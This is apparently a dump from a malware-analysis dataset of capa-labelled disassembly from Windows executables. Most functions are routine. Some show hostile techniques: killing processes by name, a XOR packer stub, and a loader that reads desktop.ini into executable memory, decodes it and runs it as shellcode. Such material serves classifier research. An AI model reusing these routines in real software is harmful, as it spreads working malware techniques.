joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013e8
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x402cf8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push esi
mov esi, ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x18]
mov ecx, esi
push eax
mov dword [esp + 0x2c], 1
call fcn.004016a0
test al, al
jne 0x401454
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 2
call fcn.004028aa
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
call fcn.004028aa
mov eax, 2
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop esi
add esp, 0x28
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x401496
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 3
call fcn.004028aa
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
call fcn.004028aa
mov eax, 3
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop esi
add esp, 0x28
ret
mov edx, dword [esp + 0x18]
mov eax, dword [edx - 8]
test eax, eax
jne 0x4014d8
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 4
call fcn.004028aa
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
call fcn.004028aa
mov eax, 4
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop esi
add esp, 0x28
ret
push ecx
lea ecx, [esp + 0x20]
mov eax, esp
mov dword [esp + 0x10], esp
push str..exe
push ecx
push eax
call sub.MFC42.DLL_operator_1
mov ecx, esi
call fcn.00401af0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 8]
push edx
call fcn.00402050
add esp, 4
lea eax, [esp + 0x1c]
lea ecx, [esp + 8]
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov byte [esp + 0x34], 5
call sub.MFC42.DLL_operator
push str..exe
push eax
lea eax, [esp + 0xc]
mov byte [esp + 0x30], 6
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 8
call fcn.004028aa
push ecx
lea edx, [esp + 8]
mov ecx, esp
mov dword [esp + 0x14], esp
push edx
call sub.MFC42.DLL_CString::CString_1
push ecx
lea eax, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x1c], esp
push eax
mov byte [esp + 0x34], 9
call sub.MFC42.DLL_CString::CString_1
mov ecx, esi
mov byte [esp + 0x30], 8
call fcn.004018c0
test al, al
jne 0x4015d4
lea ecx, [esp + 4]
mov byte [esp + 0x28], 5
call fcn.004028aa
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call fcn.004028aa
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0xa
call fcn.004028aa
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
call fcn.004028aa
mov eax, 5
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop esi
add esp, 0x28
ret
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
push 0
push ecx
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 4]
mov byte [esp + 0x28], 5
call fcn.004028aa
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call fcn.004028aa
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], 0xb
call fcn.004028aa
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
call fcn.004028aa
mov ecx, dword [esp + 0x20]
mov eax, 1
mov dword fs:[0], ecx
pop esi
add esp, 0x28
ret
Function at 0x401af0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x402dd3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push edi
xor ebx, ebx
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x10]
mov dword [esp + 0xc], ebx
push ebx
rep stosd dword es:[edi], eax
push 2
mov dword [esp + 0x144], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x401b50
lea ecx, [esp + 0x144]
mov dword [esp + 0x13c], eax
call fcn.004028aa
xor al, al
jmp 0x401c12
lea eax, [esp + 0xc]
push ebp
push eax
push edi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401bf5
push esi
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x144], 1
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [esp + 0x14c]
call sub.MFC42.DLL_CString::MakeLower
mov edx, dword [esp + 0x14c]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::Find
cmp eax, 0xffffffff
je 0x401bd3
mov eax, dword [esp + 0x1c]
push eax
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x401bd3
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebp
lea ecx, [esp + 0x10]
mov byte [esp + 0x144], bl
call fcn.004028aa
lea ecx, [esp + 0x14]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401b73
mov bl, 1
pop esi
push edi
call ebp
lea ecx, [esp + 0x148]
mov dword [esp + 0x140], 0xffffffff
call fcn.004028aa
mov al, bl
pop ebp
mov ecx, dword [esp + 0x134]
pop edi
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret 4
Function at 0x402050
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x402e6f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push esi
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 1
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0xc]
lea ecx, [esp + 8]
push eax
push ecx
mov byte [esp + 0x28], 2
call fcn.00401eb0
add esp, 8
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::CString
push 0x104
lea ecx, [esp + 8]
mov byte [esp + 0x24], 3
call sub.MFC42.DLL_CString::GetBufferSetLength
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 8]
mov esi, eax
call sub.MFC42.DLL_CString::ReleaseBuffer
test esi, esi
jne 0x4020eb
lea edx, [esp + 8]
lea ecx, [esp + 4]
push edx
call fcn.004028f2
jmp 0x402139
mov eax, dword [esp + 4]
mov ecx, dword [eax - 8]
test ecx, ecx
jle 0x402139
push ebx
lea ecx, [esp + 0x14]
push 1
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
push 0x404134
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 0x14]
test eax, eax
setne bl
call fcn.004028aa
test bl, bl
pop ebx
je 0x402139
push 0x404134
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::operator
mov esi, dword [esp + 0x28]
lea edx, [esp + 4]
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0x14], 1
lea ecx, [esp + 4]
mov byte [esp + 0x20], 2
call fcn.004028aa
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call fcn.004028aa
lea ecx, [esp + 8]
mov byte [esp + 0x20], 0
call fcn.004028aa
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x1b9a39ee
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x6cee5b1e
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x4013e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x4013f9
cmp dword [ebp + 0xc], 0
jne 0x4013fd
xor eax, eax
jmp 0x401454
mov eax, dword [ebp + 8]
mov byte [eax], 0
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401452
lea ecx, [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
jne 0x401452
mov eax, dword [ebp + 8]
jmp 0x401454
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401460
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x401479
cmp dword [ebp + 0xc], 0
jne 0x40147d
xor eax, eax
jmp 0x4014d6
mov eax, dword [ebp + 8]
mov word [eax], 0
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4014d4
lea ecx, [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
jne 0x4014d4
mov eax, dword [ebp + 8]
jmp 0x4014d6
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401569
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [0x405020], 8
mov byte [0x405021], 0
mov word [0x405022], 0
mov eax, dword [global_nId]
lea edx, [eax + 1]
mov dword [global_nId], edx
mov word [0x405024], ax
mov eax, dword [global_nSeq]
lea edx, [eax + 1]
mov dword [global_nSeq], edx
mov word [0x405026], ax
mov dword [ebp - 0xc], 0
jmp 0x4015cd
mov eax, dword [ebp - 0xc]
add eax, 0x31
mov edx, eax
mov eax, dword [ebp - 0xc]
add eax, 0x405030
mov byte [eax], dl
add dword [ebp - 0xc], 1
mov eax, dword [0x403008]
cmp dword [ebp - 0xc], eax
jl 0x4015b7
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [0x40502c], eax
mov eax, 0x30
mov dword [esp + 4], eax
mov dword [esp], 0x405020
call dbg.checksum(unsigned short*, int)
mov word [0x405022], ax
mov eax, 0x10
mov edx, 0x30
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], 0x405020
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_sendto]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401657
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.send_to___error:_d_n
call sym._printf
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x40165c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
mov eax, 0x10
mov dword [ebp - 0x10], eax
mov edx, 0x144
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea eax, [ebp - 0x154]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recvfrom]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4016c6
mov eax, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str.recvfrom___error:_d_n
call sym._printf
movzx edx, byte [ebp - 0x14c]
mov eax, dword [ebp + 0x10]
mov byte [eax], dl
mov eax, dword [ebp - 0x134]
leave
ret

Function at 0x4016da
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x114], 1
mov eax, dword [ebp + 8]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov dword [esp], 1
mov eax, dword [sym.imp.WS2_32.dll_select]
call eax
sub esp, 0x14
leave
ret
Function at 0x402150
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp dbg.mark_section_writable

Function at 0x4021b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x405090]
test esi, esi
jle 0x40229d
mov edi, dword [0x405094]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x4021e4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x402296
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x4021d0
mov dword [esp], eax
mov ebx, eax
call dbg.__mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x4022da
lea ebx, [esi + esi*2]
mov esi, dword [0x405094]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call dbg._GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x405094]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4022ba
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40228f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40228f
mov eax, dword [esp + 0x20]
add ebx, dword [0x405094]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x4022a4
add dword [0x405090], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x4021ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
mov eax, dword [0x405094]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
Function at 0x4027a0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x405448
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405440]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x4027f5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4027ee
test esi, esi
je 0x4027ee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4027d0
mov dword [esp], 0x405448
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402a10
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x402a48
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x402a3e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x402a4a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402a30
xor eax, eax
pop ebx
pop esi
ret
Function at 0x404b00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x427004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
mov ebx, ecx
push esi
push 0x40000002
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x404b98
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32First]
test eax, eax
je 0x404b98
nop dword [eax]
mov eax, ebx
lea ecx, [ebp - 0x10c]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x404b78
test dl, dl
je 0x404b74
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x404b78
add ecx, 2
add eax, 2
test dl, dl
jne 0x404b58
xor eax, eax
jmp 0x404b7d
sbb eax, eax
or eax, 1
test eax, eax
lea eax, [ebp - 0x130]
push eax
cmove esi, dword [ebp - 0x128]
push edi
call dword [sym.imp.KERNEL32.DLL_Process32Next]
test eax, eax
jne 0x404b50
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404bab
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x404dc0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x44
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fopen]
push esi
push edi
lea edi, [ecx + 0x1f8]
push 0x424390
push edi
call ebx
xor esi, esi
add esp, 8
cmp eax, esi
mov dword [esp + 0xc], eax
jne 0x404e06
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x424390
push edi
call ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0xc], eax
je 0x404f6c
mov eax, dword [0x42a7e0]
mov ecx, dword [0x42a7e4]
mov edx, dword [0x42a7e8]
mov dword [esp + 0x10], eax
mov eax, dword [0x42a7ec]
mov dword [esp + 0x14], ecx
mov ecx, dword [0x42a7f0]
mov dword [esp + 0x18], edx
mov edx, dword [0x42a7f4]
mov dword [esp + 0x1c], eax
mov eax, dword [0x42a7fc]
mov dword [esp + 0x20], ecx
mov ecx, dword [0x42a7f8]
push ebp
push esi
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x54], esi
mov dword [esp + 0x50], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], esi
call dword [sym.imp.MSVCRT.dll_time]
mov ecx, eax
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
mov ecx, 0x19
sar edx, 0xb
mov eax, edx
mov edi, dword [esp + 0x44]
shr eax, 0x1f
mov ebx, dword [esp + 0x48]
add esp, 4
lea eax, [edx + eax - 0x18]
cdq
idiv ecx
mov ecx, dword [esp + 0x34]
xor eax, eax
mov dword [edx*4 + 0x42a6f0], esi
mov dword [edx*4 + 0x428090], esi
mov dword [edx*4 + 0x42a754], esi
mov dword [edx*4 + 0x42a288], esi
mov dword [edx*4 + 0x4280f4], esi
mov dword [edx*4 + 0x428028], esi
mov dword [edx*4 + 0x427fc4], esi
mov dword [edx*4 + 0x42895c], esi
mov edx, dword [esp + 0x38]
mov esi, dword [esp + 0x3c]
mov ebp, dword [eax + 0x42a6f0]
add eax, 4
add ecx, ebp
mov ebp, dword [eax + 0x42808c]
add edx, ebp
mov ebp, dword [eax + 0x42a750]
add esi, ebp
mov ebp, dword [eax + 0x42a284]
add edi, ebp
mov ebp, dword [eax + 0x4280f0]
add ebx, ebp
mov ebp, dword [eax + 0x428024]
add dword [esp + 0x48], ebp
mov ebp, dword [eax + 0x428958]
add dword [esp + 0x4c], ebp
mov ebp, dword [eax + 0x427fc0]
add dword [esp + 0x50], ebp
cmp eax, 0x64
jl 0x404eeb
mov dword [esp + 0x3c], esi
mov esi, dword [esp + 0x10]
mov dword [esp + 0x38], edx
push esi
push 1
lea edx, [esp + 0x1c]
push 0x40
push edx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x50], edi
mov dword [esp + 0x44], ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x44
ret
Function at 0x4075c0
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
sub esp, 8
push esi
lea eax, [esp + 8]
push edi
mov edi, dword [esp + 0x14]
push eax
push 0x4244f8
push 1
push 0
push 0x4244e8
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [edi], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
jge 0x407606
push esi
push str.CoCreateInstance_failed:_0x_08lx_n
jmp 0x40763a
mov eax, dword [esp + 0xc]
lea edx, [esp + 8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov esi, eax
test esi, esi
jge 0x407623
push esi
push str.get_LocalPolicy_failed:_0x_08lx_n
jmp 0x40763a
mov eax, dword [esp + 8]
push edi
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov esi, eax
test esi, esi
jge 0x407643
push esi
push str.get_CurrentProfile_failed:_0x_08lx_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 8
mov eax, dword [esp + 8]
test eax, eax
je 0x407651
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40765f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, esi
pop edi
pop esi
add esp, 8
ret

Function at 0x4079f0
Capabilities:
Check os version

Disassembly:
mov eax, dword [0x42affc]
sub esp, 0x94
test eax, eax
jne 0x407a51
push edi
mov ecx, 0x25
lea edi, [esp + 4]
lea edx, [esp + 4]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 8], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
pop edi
jne 0x407a2c
xor al, al
add esp, 0x94
ret
cmp dword [esp + 0x10], 2
jne 0x407a47
cmp dword [esp + 4], 5
jb 0x407a47
mov eax, dword [esp + 8]
test eax, eax
mov eax, 2
ja 0x407a4c
mov eax, 1
mov dword [0x42affc], eax
xor ecx, ecx
cmp eax, 2
sete cl
mov al, cl
add esp, 0x94
ret